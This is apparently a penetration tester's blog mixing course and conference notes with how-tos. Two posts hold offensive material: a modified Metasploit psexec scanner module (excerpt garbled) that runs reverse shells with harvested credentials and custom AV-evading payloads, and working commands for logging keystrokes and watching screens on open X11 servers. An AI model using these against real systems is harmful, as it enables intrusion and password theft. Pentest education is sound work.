Offensive IT Security Tactics: Course Description

I’ll be teaching a special topics course this fall for the University of Richmond School of Professional & Continuing Studies (SPCS). I’ll update this post once I have the info on how to find/register for the course (it will be wed nights starting in august-dec 2015). I figured I’d just get the info out by providing the course description.


ISYS 398U Offensive IT Security Tactics

This course provides analysts and managers with the competencies necessary to manage and implement offensive IT security programs, through actual use of techniques and tactics used to simulate threat agent activity.  The use of these methodologies to ethically test the efficacy of enterprise security systems and controls is discussed. Penetration testing, adversarial threat simulation, social engineering and IT security assessment topics are explored in detail. The course includes practical exercises culled from real world security assessments.



RV4sec 2015 CTF Final Scores

Place Team Score
1 cyberneckbeard_rvasec 18800
2 fedctf_rvasec 15800
3 b4llst4rs_rvasec 15500
4 cort_rvasec 14750
5 cybermonkey_rvasec 11000
6 michael_rvasec 9800
7 mediocresec 8500
8 jd_rvasec 8200
9 rvasec_jledford 8,100
10 sofakingcyber_rvasec 6,900
11 deltr0n 6700
12 gray_rvasec 6300
13 gnw-newbs 5700
14 maxx_rvasec 5400
15 tautology_rvasec 5,400
16 cpb 3900
17 bilbofraggins 3,700
18 penguinbutchers 3000
19 evteam 3,000
20 treise 2000
21 magyar 1800
22 rain_rvasec 1300
23 gibson 1,300
24 [va]m8trx_rvasec 1000
25 team taco 900
26 not_psychs 800
27 sam_rvasec 700
28 m1sfir3_rvasec 300
29 r3v3a_rvasec 200
30 goergabyte tech 200
31 nuzzlore 100
32 xoticmike_rvasec 100
33 redbull 100

Kali on AWS

UPDATE: 01/24/2014 – The team at Offensive Security have put out a blog post announcing an official Kali AMI on the amazon marketplace. The AMI is free. Here’s the Offsec blog.

I recently decided I wanted a quick and simple way to spin up Kali instances on the Internet, and chose Amazon Web Services (AWS) for the task. Cursory Internet searches did not reveal much in the way of tutorials or how-to’s.

There are probably {better, easier, faster} methods to get a Kali instance on AWS, but I wanted to share the method I used along with some “gotchyas” I experienced along the way.

A little birdie tells me that the folks at Offensive Security may be posting official documentation or a blog on this very subject soon. I’ll add that info or a link to it to this post when/if that comes to pass.

My method’s prerequisites

1). Access to VMware vSphere/vCenter 4.0, 4.1, 5.0, or 5.1 (I used vCenter 5.1)
2). A Kali VM (installed on vSphere)
3). AWS account
4). The EC2 VM Import Connector vApp (virtual appliance)


Step 1

Install Kali as a VM on your VMWare hypervisor. Using the EC2 Connector vApp requires the Linux distro to be x64 so I used the “Kali Linux 1.0.5 64-Bit ISO”. I chose a 20GB hard drive and 1GB RAM when creating the VM. Choose all partitions on a single drive.

Gotchya – Kali Changes

I could not get this process to work with the current kernel Kali was using (3.7). I downgraded to 3.2 (apt-get install linux-image-3.2.0-4-rt-amd64). I know this is probably not the best idea, but I kept getting “incompatible kernel errors” when migrating.

Also, I set the grub timeout to 2 randomly thinking it would boot into the first kernel quickly, rather than timeout, and removed the 3.7 kernel options from grub so that only 3.2 showed up. This could be an issue with the EC2 Connector vApp, I’m not sure. Without these settings I got errors.

Don’t forget to enable sshd on startup, or else you’ll have no way to access the machine once its on AWS.

Step 2

Install the EC2 VM Import Connector vApp on your VMware hypervisor. There is Amazon documentation on installing the vApp here

Gotchya – Time not Sync’d

Make sure the time on the EC2 vApp is correct in relation to the real world. The time is UTC, you can go to the vApp console and log in as root (no password) and set the time. If your time is off it will not login to the AWS API.

Step 3.

Shutdown the Kali VM on the VMware hypervisor. Notice the new tab (Import to EC2) that appears on the right of the VMware tabs after you installed the EC2 connector vApp.


Select your Kali VM in the left hand pane of the hypervisor management console and click the Import to EC2 tab. You will be prompted for your AWS Access ID and Secret key. Amazon docs for that here.

Now select your instance parameters. We are limited to x64 bit Linux, and the instance types we can choose from. We can resize these later, though. However, I chose the lowest of thew two (General Purpose Extra Large = m3.xlarge). The lowest I have been able to resize this to is a c3.large instance (0.150 an hour). More experimentation is needed here.


Now click Import to EC2 and wait for the task to finish.

That’s it. You know have an EBS backed instance of Kali running on AWS.


Like I said, you’ll probably want to resize the instance to c3.large, or experiment further to try to get the instance type to a smaller/cheaper instance. Maybe less HD space?

Use EXE::Custom with psexec scanner

Last year DarkOperator(Carlos Perez) released an awesome auxiliary module for the Metasploit Framework: the PSExec Scanner Auxiliary Module. This module allows you to use a set of credentials (or hashes) to run the psexec Metasploit module against a list of hosts. A very handy trick when you have a shared local admin account and want to get shells on a bunch of machines where those admin credentials work.

I simply added a few lines to his script that adds the EXE::Custom option, which allows you to specify a custom binary to use as a payload rather than have the psexec module create one on the fly. This is useful if you like to use a custom executable that already bypasses AV, since the stock Metasploit payloads often get caught by AV’s. You set the EXE::Custom option like you would any other option is msf, e.g. “set EXE::Custom /tmp/samba/revshell.exe”.

Be forewarned: Using the custom binary can take a little while longer to pop the box than when you run the module with the default options.

Below is the original script with my edits/additions highlighted. You can download the edited script here

# $Id$

# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#Slightly modified by pipefish to add the EXE::Custom option

require 'msf/core'
require 'rex'

class Metasploit3  'Auxiliary PSExec Scanner',
				'Description'   => %q{
					PSExec scanner module that will run a psexec attack against a range of hosts
					using either a set of credentials provided or the credential saved in the
					current workspace database.
				'License'       => MSF_LICENSE,
				'Author'        => [ 'Carlos Perez '],
				'Version'       => '$Revision$'
			['SMBUser', [false, 'SMB Username', nil]),'SMBPass', [false, 'SMB Password', nil]),'SMBDomain', [true, "SMB Domain", 'WORKGROUP']),'SHARE',     [ true,
						"The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ]),'RHOSTS', [true, 'Range of hosts to scan.', nil]),'LPORT', [true, 'Local Port for payload to connect.', nil]),'LHOST', [true, 'Local Hosts for payload to connect.', nil]),'PAYLOAD', [true, 'Payload to use against Windows host',
						"windows/meterpreter/reverse_tcp"]),'TYPE', [false, 
						'Type of credentials to use, manual for provided one, db for those found on the database',
						'manual', ['db','manual']]),'OPTIONS',
				[false, "Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.",
					""]),'EXE::Custom', [false, 'Use custom exe instead of automatically generating a payload exe', nil]),'HANDLER',
					[ false, 'Start an Exploit Multi Handler to receive the connection', true]),
			], self.class)
		# no need for it
	def setup()
		# Set variables
		pay_name = datastore['PAYLOAD']
		lhost    = datastore['LHOST']
		lport    = datastore['LPORT']
		opts     = datastore['OPTIONS']

		if datastore['TYPE'] == "db"
			print_status("Using the credentials found in the workspace database")
			print_status("Using the username and password provided")
		@pay = create_payload(pay_name,lhost,lport,opts)
		create_multihand(pay_name,lhost,lport) if datastore['HANDLER']

	# Run Method for when run command is issued
	def run_host(ip)
		if check_port(ip)
			if datastore['TYPE'] == "manual"
				if not datastore['SMBUser'].nil? and not datastore['SMBPass'].nil?
					user = datastore['SMBUser']
					pass = datastore['SMBPass']
					dom = datastore['SMBDomain']
					payload = datastore['PAYLOAD']
					custexe = datastore['EXE::Custom']
					print_status("Trying #{user}:#{pass}")
				@creds.each do |c|
					user,pass = c.split(" ")
					dom = datastore['SMBDomain']
					payload = datastore['PAYLOAD']
					custexe = datastore['EXE::Custom']
					print_status("Trying #{user}:#{pass}")
	## Run psexec on a given IP
	def psexec(ip,user,pass,dom,payload,custexe)
		psexec = framework.modules.create("exploit/windows/smb/psexec")
		psexec.datastore['PAYLOAD'] = payload
		psexec.datastore['MODULE_OWNER'] = self.owner
		psexec.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
		psexec.datastore['RHOST'] = ip
		psexec.datastore['SMBUser'] = user
		psexec.datastore['SMBPass'] = pass
		psexec.datastore['SMBDomain'] = dom
		if not datastore['EXE::Custom'].nil?
			psexec.datastore['EXE::Custom'] = custexe
		psexec.datastore['SHARE'] = datastore['SHARE']
		psexec.datastore['RPORT'] = 445
		psexec.datastore['ExitOnSession'] = false
		psexec.datastore['DisablePayloadHandler'] = false
		psexec.datastore['EXITFUNC'] = 'process'
		psexec.datastore['VERBOSE'] = true
		psexec.datastore['DisablePayloadHandler'] = true
		psexec.datastore['ForceBlocking'] = true
			'LocalInput'	=> self.user_input,
			'LocalOutput'	=> self.user_output,
			'Payload'	=> payload,
			'Target'	=> 0,
			'ForceBlocking'	=> true,
			'RunAsJob'	=> false)

	def check_port(ip)
		status = false
		timeout = 1000
		port = 445
			s = connect(false,
					'RPORT' => 445,
					'RHOST' => ip,
					'ConnectTimeout' => (timeout / 1000.0)
			print_status("#{ip}:#{port} - TCP OPEN")
			status = true
		rescue ::Rex::ConnectionRefused
			vprint_status("#{ip}:#{port} - TCP closed")
		rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error
		rescue ::Interrupt
			raise $!
		rescue ::Exception => e
			print_error("#{ip}:#{port} exception #{e.class} #{e} #{e.backtrace}")
			disconnect(s) rescue nil
		return status

	def collect_hashes
		type = "smb_hash|password"
		@creds = []
		print_status("Collecting Hashes from the DB")
		framework.db.workspace.creds.each do |cred|
			if and cred.ptype =~ /#{type}/ and cred.user !~ /(SUPPORT|HelpAssistant|TsInternetUser|IWAM|Guest)/
				@creds < mul.datastore['PAYLOAD'],
					'LocalInput'  => self.user_input,
					'LocalOutput' => self.user_output,
					'RunAsJob'    => true
			print_error("Could not start handler!")


Automating and Interacting with Nessus via XML-RPC

Update 05/21/2013 – The code for the python script that allows you to mass download Nessus reports can be found here. Also, here’s a post detailing a little bit about that script.

I recently started looking into the Nessus API Documentation and found that that you could interact with Nessus and get almost ALL of the features of the GUI via HTTP POST’s and GET’s.  You just needed to be able to parse out the XML responses.  Awesome!

If you look int API docs you’ll see it’s really straightforward; you can use tools like wget or curl to send the HTTP requests, then you can parse the XML response to pull the data you need.  I use xmlstarlet (just use apt-get install xmlstarlet in Ubuntu) as my parser.

Let’s start working with Nessus via curl.  First step, get logged in:

curl -k -c cookies.txt --data "login=YOURUSERNAME&password=YOURPASSWORD"

Here we’re ignoring SSL cert check (-k) and saving the cookies that are set are sent to a file for later use (-c cookies.txt).  Then we send the post parameters “login” and “password” to the “/login” page of our local Nessus scanner.  If you put in your username and password correctly you’ll see  an “OK” response and a session cookie is saved to cookies.txt.

Now we can re-use that cookie in later requests without having to re-authenticate.  I try to avoid hard coding passwords in scripts, it’s a bad practice.

NOTE: the Nessus config value “xmlrpc_idle_session_timeout” is set to 30 by default, so you can use that cookie for 30 minutes.

Now let’s list all of the available reports on our scanner and see the raw XML output:

curl -k -b cookies.txt


Above you’ll see I highlighted the “name” and the “readableName” node’s in the XML response. The name is the UUID. You’ll need to reference this when interacting with scansreports via xml-rpc.  The readableName is obviously the name you typed into the scanner when running the scan.

Now let’s make more sense of the XML response by using xmlstarlet to parsepull the relevant fields out.  NOTE: XML parsing and using XPATH queries are beyond the scope of this post.  If you’ve never used XPATH queries it’s simply a query syntax used when dealing with XML data and it’s hierarchical format of trees and nodes.

curl -k -b cookies.txt | xmlstarlet sel -B -t -m "reply/contents/reports/report/name" -v "." -o ": " -v "../readableName" -n


I output the UUID and the readable name next to each other (Click on picture above for a better view).

Now let’s get a list of running scans, and then pause all of them.  Notice the URL that i send requests to via curl has changed.  Now I’m interacting with scans, rather than reports.

curl -k -b cookies.txt|xmlstarlet sel -B -t -m "reply/contents/scans/scanList/scan/status" -o "UUID: " -v "../uuid" -o " Readable Name:" -v "../readableName" -o " Status:" -v "."  -n|grep running


You see I output the UUID, readable name and the scan status.  Now we’ll use a simple for loop and send the UUID of each scan that is running as a paramater to the /scan/pause page to pause the scans.

for scan in $(curl -k -b cookies.txt|xmlstarlet sel -B -t -m "reply/contents/scans/scanList/scan/status" -o "UUID: " -v "../uuid" -o " Readable Name:" -v "../readableName" -o " Status:" -v "."  -n|grep running|cut -d" " -f2); do curl -k -b cookies.txt --data "scan_uuid=$scan";done

If you log in to your scanner now you’ll see the scan names you grepped for and paused above are indeed paused.

I hope that’s given you an idea of how you can use XML RPC to customizecontrol your Nessus experience.

Spying On Screens and Keystrokes – The Dangers of Open X11

This is not a ground breaking 0-day exploit, nor is it intense new research.  I recently needed to do something that I had done a long time ago, and not very often.  I knew the theory, and it seemed straightforward: I needed to take advantage of an open X11 server during an engagement and realized, while it seemed trivial, I didn’t really remember what to do.  It took me a bit of Goole-fu to find the tools and instructions to get me where I needed to be.  Since I use this blog as my running notepad I’ll put it here for posterity’s sake, and maybe it’ll help someone out in the future who’s searching for answers just like I was.

Now onto the tools you’ll need.  Grab xspy ( or use your BackTrack VM /pentest/sniffers/xspy) and xwatchwin. I found xwatchwin here.

You also need to install xutils-dev (because you’ll need to run xwininfo). On Ubuntu i used

 apt-get install xutils-dev

We need to discover the window ID to pass to xwatchwin. For this I use xwininfo:

xwininfo -root -display remote-IP:0

If you receive output similar to what’s shown below take note of the Window ID.


To begin capturing key strokes issue this command (optionally pipe to log file if you want)

./xspy -display remote_ip:0 >> keys-log.txt

Below is an example of running this command and viewing the live keystrokes from another machine (would be cooler if i put up a vid, eh?).


Notice you get all of the keys, even the up key, backspace and CTRL+C.

To begin spying on the active desktop issue this command

./xwatchwin remote-ip:0 -w window-id

In the earlier output from xwininfo we saw that the window ID was 0xb6 (click picture for better view).


The xwatchwin command, if successful, will launch a window that displays the remote users’ desktop (or whatever is on their X11 session) for you viewing delight.

If you’re out there and happen across an open X11 server listening that is a BIG deal. You can grab all of the keystrokes of the logged on user (ALL of them including passwords put in blind for SSH, etc.).  You can also remotely spy on the current X session, as well.  Not as exciting if it’s a server and no one’s logged in, but still brutal in my opinion.  If you run your organizations’ vulnerability scans  and you find open and unauthenticated X11 servers you need to remedy those findings with a quickness.

You can mitigate this threat by using the old school xhost method, host based firewall, or not allowing gdm, lightdm (or whatever display manager you use) to listen on TCP.  This threat is bad enough on a well protected internal server behind layers of firewalls and that is normally managed via SSH; imagine if this was open on a laptop that someone took to an internet cafe or the airport?  Anyone with a little know how could watchlog every move and keystroke they took!


Track Your CPEs From Security ConsTraining

I know that folks have some varying opinions on IT certifications (especially IT security certifications).  While it’s true that you shouldn’t judge someones worth by the number of certifications they have, if you’re in IT or infosec (and you’re not already a rock star) you know that they are here to stay.  And, you know that you have to keep them updated to satisfy the powers that be, if you want to remain current.  Some (see DoD or even some security consultants) HAVE to maintain them to keep their jobs.  You do that by maintaining the required number continuing professional education points (CPEs).

There are many different ways to attain these CPE’s, but one is attending a conference or training.  I will be attending a security conference June 16th called RVAsec.  I was talking to someone about it and made the comment about earning CPEs for it, so i figured I’d bring up a neat way of tracking your CPEs from RVAsec (or any trainingstudy CPE earning activity) on  I have been a member of since it started.  It’s a handy way to track CPEs for multiple certs, and the development team is always adding features and finding ways to improve the site.  It’s free (there is a paid version with more features).  Whether you’re IT or you just have certs that require CPEs (like the CPAs out there) it’s a handy tool.

Two Wrongs Make A Right?

While I was checking my feeds the other day I noticed the article here from The Register. The gist of it is a Russian startup has a service that will disrupt torrents.  The technical information is still sketchy, but here’s a quote of a quote from The Register article: “We used a number of servers to make a connection to each and every p2p client that distributed this film,” Klimenko says of the technology test. “Then Pirate Pay sent specific traffic to confuse these clients about the real I.P. addresses of other clients and to make them disconnect from each other.”  Sounds suspiciously close to the old TCP spoofed reset denial of service from back in the day to me.  Rather sending sending RST’s they’re just sending bogus IP info or something.

This seems like it would be on the wrong side of the law in some countries.  Maybe not, could be a grey area.  My thought: Is DoS-ing a service you (or your investors) think is wrong make it rightlegal?  And let’s look at what a DoS is from wikipedia “In computing a denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer or network resource unavailable to its intended users. ”  The Pirate Pay sounds like they’re DoS-ing a service to me.  I’d be interested to hear what the community has to say?  I don’t want to turn this into a “pro-piracyanti-piracy” debate, this more about the principal behind their approach:  What do you think about a company using tools or techniques to disrupt operations or traffic on other users’ machines?

Don’t Wait, and DON’T CLICK!

If you browse or are redirected to a website or click a link and see a screen like the one below, do not wait, simply close the browser. That “Wait Please” is static text, however if you look at the page source there are several malicious javascripts (second picture) attempting to send you to a URL that usually has some malware or drive by download (FakeAV most of the time).



I’ve seen quite a bit of this the last few weeks, and most of it has been the result of someone clicking on a link from within a spam email. Here’s a protip (pass on to your friends, family, colleagues and anyone who will listen): If you get an email that is concerning, don’t just blindly click the link. In the below case, if you simply hover your mouse over the links you’ll see they point to pages that have nothing to do with the company that the email is claiming to be from.


If you must follow the link use a browser sandbox like sandboxIE.